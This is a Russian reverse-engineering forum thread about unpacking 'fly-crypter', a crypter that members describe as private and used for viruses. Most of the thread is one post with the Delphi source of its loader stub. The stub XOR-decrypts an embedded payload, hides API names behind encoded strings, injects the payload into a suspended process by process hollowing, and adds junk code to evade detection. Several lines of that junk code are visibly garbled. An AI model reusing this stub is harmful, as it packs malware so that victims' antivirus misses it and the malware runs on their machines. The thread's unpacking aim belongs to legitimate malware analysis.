Сейчас на форуме: (+7 невидимых)

 eXeL@B —› Протекторы —› fly-crypter
Посл.ответ Сообщение

Ранг: 33.9 (посетитель), 22thx
Активность: 0.030
Статус: Участник

Создано: 28 декабря 2012 12:12 · Поправил: dant3
· Личное сообщение · #1

добрый день. Кто-нибудь сталкивался с сабжем(VB, native code)? Мб есть туторы по распаковке? Буду признаетелен за любую информацию.
P.S. затруднения в основном вызывают vb api.



Ранг: 419.0 (мудрец), 647thx
Активность: 0.460.51
Статус: Участник
"Тибериумный реверсинг"

Создано: 28 декабря 2012 12:30
· Личное сообщение · #2

Если есть рабочий сэмпл, выложите пожалуйста.



Ранг: 33.9 (посетитель), 22thx
Активность: 0.030
Статус: Участник

Создано: 28 декабря 2012 12:36
· Личное сообщение · #3

выложить не могу, нет под руками.




Ранг: 529.0 (!), 110thx
Активность: 0.290.04
Статус: Участник
5KRT

Создано: 28 декабря 2012 15:42
· Личное сообщение · #4

dant3
Это приватный криптор для вирусов. Что у вас там за прога-то?

-----
Research For Food




Ранг: 33.9 (посетитель), 22thx
Активность: 0.030
Статус: Участник

Создано: 28 декабря 2012 15:47
· Личное сообщение · #5

Малваря, но это к делу не относиться.



Ранг: 262.5 (наставник), 337thx
Активность: 0.340.25
Статус: Участник

Создано: 28 декабря 2012 16:30 · Поправил: TryAga1n
· Личное сообщение · #6

В дистрибе, в архиве под названием fly-crypter.rar нашел
Code:
  1. program Stub;
  2.  
  3. {$IMAGEBASE $44440000}
  4. {$R ico.RES}
  5. uses
  6. Windows;
  7. // file data
  8.  
  9. var
  10. _FILE_
  11.  
  12. var
  13.   xorkey, xorkeyconst, xorkeyvar: byte;
  14.  
  15. type
  16.   TSections = array [0..0] of TImageSectionHeader;
  17.  
  18. function GetAlignedSize(Size: dword; Alignment: dword): dword;
  19. begin
  20.   if ((Size mod Alignment) = 0) then
  21.   begin
  22.     Result := Size;
  23.   end
  24.   else
  25.   begin
  26.     Result := ((Size div Alignment) + 1) * Alignment;
  27.   end;
  28. end;
  29.  
  30. function encodestr(instr: string): string;
  31. var
  32.   i, j: integer;
  33. begin
  34.   result := '';
  35.   j := 137;
  36.   for i := 1 to length(instr) do
  37.   begin
  38.     result := result + chr(ord(instr[i]) xor j);
  39.     if j = 255 then j := 1 else inc(j);
  40.   end;
  41. end;
  42.  
  43. procedure unxorarr(var arr: array of byte);
  44. var
  45.   i, j: integer;
  46. begin
  47.   j := xorkey;
  48.   for i := 0 to length(arr) - 1 do
  49.   begin
  50.     arr[i] := arr[i] xor j;
  51.     if j = 255 then j := 1 else inc(j);
  52.   end;
  53. end;
  54.  
  55. // winapi
  56.  
  57. type
  58.   DWORD = LongWord;
  59.   BOOL = LongBool;
  60.   LPCSTR = PAnsiChar;
  61.   UINT = LongWord;
  62.   FARPROC = Pointer;
  63.  
  64.   PSecurityAttributes = ^TSecurityAttributes;
  65.   _SECURITY_ATTRIBUTES = record
  66.     nLength: DWORD;
  67.     lpSecurityDescriptor: Pointer;
  68.     bInheritHandle: BOOL;
  69.   end;
  70.   TSecurityAttributes = _SECURITY_ATTRIBUTES;
  71.   SECURITY_ATTRIBUTES = _SECURITY_ATTRIBUTES;
  72.  
  73.   POverlapped = ^TOverlapped;
  74.   _OVERLAPPED = record
  75.     Internal: DWORD;
  76.     InternalHigh: DWORD;
  77.     Offset: DWORD;
  78.     OffsetHigh: DWORD;
  79.     hEvent: THandle;
  80.   end;
  81.   {$EXTERNALSYM _OVERLAPPED}
  82.   TOverlapped = _OVERLAPPED;
  83.   OVERLAPPED = _OVERLAPPED;
  84.   {$EXTERNALSYM OVERLAPPED}
  85.  
  86. const
  87.   MAX_PATH = 260;
  88.   GENERIC_WRITE = $40000000;
  89.   FILE_SHARE_WRITE = $00000002;
  90.   CREATE_NEW = 1;
  91.   INVALID_HANDLE_VALUE = DWORD(-1);
  92.   kernel32 = 'kernel32.dll';
  93.  
  94.  
  95. var
  96.   pro_mem: function (hProcess: THandle; const lpBaseAddress: Pointer; lpBuffer: Pointer;
  97.       nSize: DWORD; var lpNumberOfBytesWritten: DWORD): BOOL; stdcall;
  98.   pro_create: function (lpApplicationName: PChar; lpCommandLine: PChar;
  99.   lpProcessAttributes, lpThreadAttributes: PSecurityAttributes;
  100.   bInheritHandles: BOOL; dwCreationFlags: DWORD; lpEnvironment: Pointer;
  101.   lpCurrentDirectory: PChar; const lpStartupInfo: TStartupInfo;
  102.   var lpProcessInformation: TProcessInformation): BOOL; stdcall;
  103.   pro_read: function (hProcess: THandle; const lpBaseAddress: Pointer; lpBuffer: Pointer;
  104.   nSize: DWORD; var lpNumberOfBytesRead: DWORD): BOOL; stdcall;
  105.   pro_alloc: function (hProcess: THandle; lpAddress: Pointer;
  106.   dwSize, flAllocationType: DWORD; flProtect: DWORD): Pointer; stdcall;
  107.  
  108.  
  109. function LoadLibrary(lpLibFileName: PChar): HMODULE; stdcall; external kernel32 name 'LoadLibraryA';
  110. function GetProcAddress(hModule: HMODULE; lpProcName: LPCSTR): FARPROC; stdcall; external kernel32 name 'GetProcAddress';
  111. function GetTempPath(nBufferLength: DWORD; lpBuffer: PChar): DWORD; stdcall; external kernel32 name 'GetTempPathA';
  112.  
  113. procedure stealth;
  114. var
  115.   hkernel: thandle;
  116. begin
  117.   hkernel := LoadLibrary(pansichar(encodestr('впщвивјўїцяш')));
  118.   @pro_mem := getprocaddress(hkernel, pansichar(encodestr('ЮшвшиЮэятчазШуъчлг')));
  119.   @pro_create := getprocaddress(hkernel, pansichar(encodestr('КшонщлЯвюсцзжЧ')));
  120.   @pro_read := getprocaddress(hkernel, pansichar(encodestr('ЫпкиЭьауфбаЩрышка')));
  121.   @pro_alloc := getprocaddress(hkernel, pansichar(encodestr('ЯгщшшпгСэюьчРо')));
  122.   end;
  123.  
  124. procedure ExInMem(FileMemory: pointer);
  125. var
  126.   BaseAddress, Bytes, HeaderSize, InjectSize,  SectionLoop, SectionSize: dword;
  127.   Context: TContext;
  128.   FileData: pointer;
  129.   ImageNtHeaders: PImageNtHeaders;
  130.   InjectMemory: pointer;
  131.   ProcInfo: TProcessInformation;
  132.   PSections: ^TSections;
  133.   StartInfo: TStartupInfo;
  134. begin
  135.   ImageNtHeaders := pointer(dword(dword(FileMemory)) + dword(PImageDosHeader(FileMemory)._lfanew));
  136.   GetMem(InjectMemory, InjectSize);
  137.   try
  138.     FileData := InjectMemory;
  139.     HeaderSize := ImageNtHeaders.OptionalHeader.SizeOfHeaders;
  140.     PSections := pointer(pchar(@(ImageNtHeaders.OptionalHeader)) + ImageNtHeaders.FileHeader.SizeOfOptionalHeader);
  141.     for SectionLoop := 0 to ImageNtHeaders.FileHeader.NumberOfSections - 1 do
  142.     begin
  143.       if PSections[SectionLoop].PointerToRawData < HeaderSize then HeaderSize := PSections[SectionLoop].PointerToRawData;
  144.     end;
  145.     CopyMemory(FileData, FileMemory, HeaderSize);
  146.     FileData := pointer(dword(FileData) + GetAlignedSize(ImageNtHeaders.OptionalHeader.SizeOfHeaders, ImageNtHeaders.OptionalHeader.SectionAlignment));
  147.     for SectionLoop := 0 to ImageNtHeaders.FileHeader.NumberOfSections - 1 do
  148.     begin
  149.       if PSections[SectionLoop].SizeOfRawData > 0 then
  150.       begin
  151.         SectionSize := PSections[SectionLoop].SizeOfRawData;
  152.         if SectionSize > PSections[SectionLoop].Misc.VirtualSize then SectionSize := PSections[SectionLoop].Misc.VirtualSize;
  153.         CopyMemory(FileData, pointer(dword(FileMemory) + PSections[SectionLoop].PointerToRawData), SectionSize);
  154.         FileData := pointer(dword(FileData) + GetAlignedSize(PSections[SectionLoop].Misc.VirtualSize, ImageNtHeaders.OptionalHeader.SectionAlignment));
  155.       end
  156.       else
  157.       begin
  158.         if PSections[SectionLoop].Misc.VirtualSize <> 0 then FileData := pointer(dword(FileData) + GetAlignedSize(PSections[SectionLoop].Misc.VirtualSize, ImageNtHeaders.OptionalHeader.SectionAlignment));
  159.       end;
  160.     end;
  161.     stealth;
  162.     ZeroMemory(@StartInfo, SizeOf(StartupInfo));
  163.     ZeroMemory(@Context, SizeOf(TContext));
  164.     pro_create(nil, pchar(ParamStr(0)), nil, nil, False, CREATE_SUSPENDED, nil, nil, StartInfo, ProcInfo);
  165.     Context.ContextFlags := CONTEXT_FULL;
  166.     GetThreadContext(ProcInfo.hThread, Context);
  167.     pro_read(ProcInfo.hProcess, pointer(Context.Ebx + 8), @BaseAddress, 4, Bytes);
  168.     pro_alloc(ProcInfo.hProcess, pointer(ImageNtHeaders.OptionalHeader.ImageBase), InjectSize, MEM_RESERVE or MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  169.     pro_mem(ProcInfo.hProcess, pointer(ImageNtHeaders.OptionalHeader.ImageBase), InjectMemory, InjectSize, Bytes);
  170.     pro_mem(ProcInfo.hProcess, pointer(Context.Ebx + 8), @ImageNtHeaders.OptionalHeader.ImageBase, 4, Bytes);
  171.     Context.Eax := ImageNtHeaders.OptionalHeader.ImageBase + ImageNtHeaders.OptionalHeader.AddressOfEntryPoint;
  172.     SetThreadContext(ProcInfo.hThread, Context);
  173.     ResumeThread(ProcInfo.hThread);
  174.   finally
  175.     FreeMemory(InjectMemory);
  176.   end;
  177. end;
  178. procedure loader_a;
  179. var
  180.   tempbuf: array [0..MAX_PATH] of char;
  181.   c, b, d : byte;
  182. begin
  183. gettemppath(MAX_PATH, tempbuf);
  184. xorkeyconst := ord(tempbuf[2]) + ord(tempbuf[3]);
  185. xorkeyvar := _XORKEYVAR_; //Decrypting Key
  186. xorkey := xorkeyconst xor xorkeyvar;
  187. unxorarr(file1);
  188. if @file1[0] <> nil then
  189. ExinMem(@file1[0]);
  190. end;
  191.  
  192. procedure loader_b;
  193. var
  194.   tempbuf: array [0..MAX_PATH] of char;
  195.   c, b, d : byte;
  196. begin
  197. asm
  198. MOV AH, 43h
  199. MOV AH, 43h
  200. MOV     EBP,ESP
  201. MOV     ESP,EBP
  202. MOV AH, 43h
  203. MOV AH, 43h
  204. MOV AH, 43h
  205. MOV     ESP,EBP
  206. MOV AH, 43h
  207. end;
  208. gettemppath(MAX_PATH, tempbuf);
  209. xorkeyconst := ord(tempbuf[2]) + ord(tempbuf[3]);
  210. xorkeyvar := _XORKEYVAR_; //Decrypting Key
  211. xorkey := xorkeyconst xor xorkeyvar;
  212. asm
  213. MOV AH, 88h
  214. MOV AH, 43h
  215. MOV     EBP,ESP
  216. MOV     ESP,EBP
  217. MOV AH, 56h
  218. MOV AH, 43h
  219. MOV AH, 11h
  220. MOV     ESP,EBP
  221. MOV AH, 43h
  222. end;
  223. := random(256) xor $32 xor $75;
  224. := xorkeyconst xor xorkeyvar;
  225. := ord(tempbuf[45]) + ord(tempbuf[65]);
  226. unxorarr(file1);
  227. := random(256) xor $32 xor $75;
  228. := random(256) xor $13 xor $54;
  229. := b xor $25 xor c xor $36;
  230. if @file1[0] <> nil then
  231. := random(256) xor $32 xor $75;
  232. := ord(tempbuf[11]) + ord(tempbuf[5]);
  233. := b xor $25 xor c xor $36;
  234. ExinMem(@file1[0]);
  235. asm
  236. MOV AH, 43h
  237. MOV AH, 93h
  238. MOV     EBP,ESP
  239. MOV     ESP,EBP
  240. MOV AH, 69h
  241. MOV AH, 43h
  242. MOV AH, 32h
  243. MOV     ESP,EBP
  244. MOV AH, 43h
  245. end;
  246. end;
  247.  
  248. procedure loader_c;
  249. var
  250.   tempc: array [0..MAX_PATH] of char;
  251.   c, b, d : byte;
  252. begin
  253. := random(256) xor $32 xor $75;
  254. := ord(tempc[4]) + ord(tempc[8]);
  255. := b xor $25 xor c xor $36;
  256. gettemppath(MAX_PATH, tempc);
  257. := random(256) xor $32 xor $75;
  258. := random(256) xor $13 xor $54;
  259. := b xor $25 xor c xor $36;
  260. xorkeyconst := ord(tempc[2]) + ord(tempc[3]);
  261. := random(256) xor $32 xor $75;
  262. := xorkeyconst xor xorkeyvar;
  263. := b xor $25 xor c xor $36;
  264. xorkeyvar := _XORKEYVAR_; //Decrypting Key
  265. := random(256) xor $32 xor $75;
  266. := random(256) xor $13 xor $54;
  267. := b xor $25 xor c xor $36; //Decrypting Key
  268. xorkey := xorkeyconst xor xorkeyvar;
  269. := random(256) xor $32 xor $75;
  270. := xorkeyconst xor xorkeyvar;
  271. := ord(tempc[45]) + ord(tempc[65]);
  272. unxorarr(file1);
  273. := random(256) xor $32 xor $75;
  274. := random(256) xor $13 xor $54;
  275. := b xor $25 xor c xor $36;
  276. if @file1[0] <> nil then
  277. := random(256) xor $32 xor $75;
  278. := ord(tempc[11]) + ord(tempc[5]);
  279. := b xor $25 xor c xor $36;
  280. ExinMem(@file1[0]);
  281. := random(256) xor $32 xor $75;
  282. := random(256) xor $13 xor $54;
  283. := b xor $25 xor c xor $36;
  284. end;
  285.  
  286. var
  287. i: integer;
  288. begin
  289. randomize;
  290. := random(9);
  291. if i = 0 then
  292. loader_a;
  293. if i = 1 then
  294. loader_a;
  295. if i = 2 then
  296. loader_b;
  297. if i = 3 then
  298. loader_c;
  299. if i = 4 then
  300. loader_a;
  301. if i = 5 then
  302. loader_b;
  303. if i = 6 then
  304. loader_c;
  305. if i = 7 then
  306. loader_c;
  307. if i = 8 then
  308. loader_b;
  309. if i = 9 then
  310. loader_c;
  311. end.

Code:
  1. Fly-Crypter v1.0
  2. Copyright [c] 2007 ut[1]lz]




Ранг: 33.9 (посетитель), 22thx
Активность: 0.030
Статус: Участник

Создано: 28 декабря 2012 16:58
· Личное сообщение · #7

Спасибо, но к данному случаю не применимо, версия 2.3.



Ранг: 33.9 (посетитель), 22thx
Активность: 0.030
Статус: Участник

Создано: 28 декабря 2012 19:35
· Личное сообщение · #8

Спасибо всем кто откликнулся, тема более не актуальна, разобрался сам, прот уг.




Ранг: 2014.5 (!!!!), 1278thx
Активность: 1.340.25
Статус: Модератор
retired

Создано: 28 декабря 2012 19:56
· Личное сообщение · #9

В следующий раз более предметно надо, а именно файл выкладывать. Ибо при такой постановке вопроса сказать совершенно нечего, хоть я и смотрел когда-то этот fly, и проблем он совершенно не вызвал.
З.Ы. Пользуйся кнопкой "Правка", не создавай сообщения подряд.
З.З.Ы. Автор сам может закрыть свою тему, кнопка "Закрыть тему" находится внизу страницы, под кнопкой "Отправить сообщение".


 eXeL@B —› Протекторы —› fly-crypter
Эта тема закрыта. Ответы больше не принимаются.
   Для печати Для печати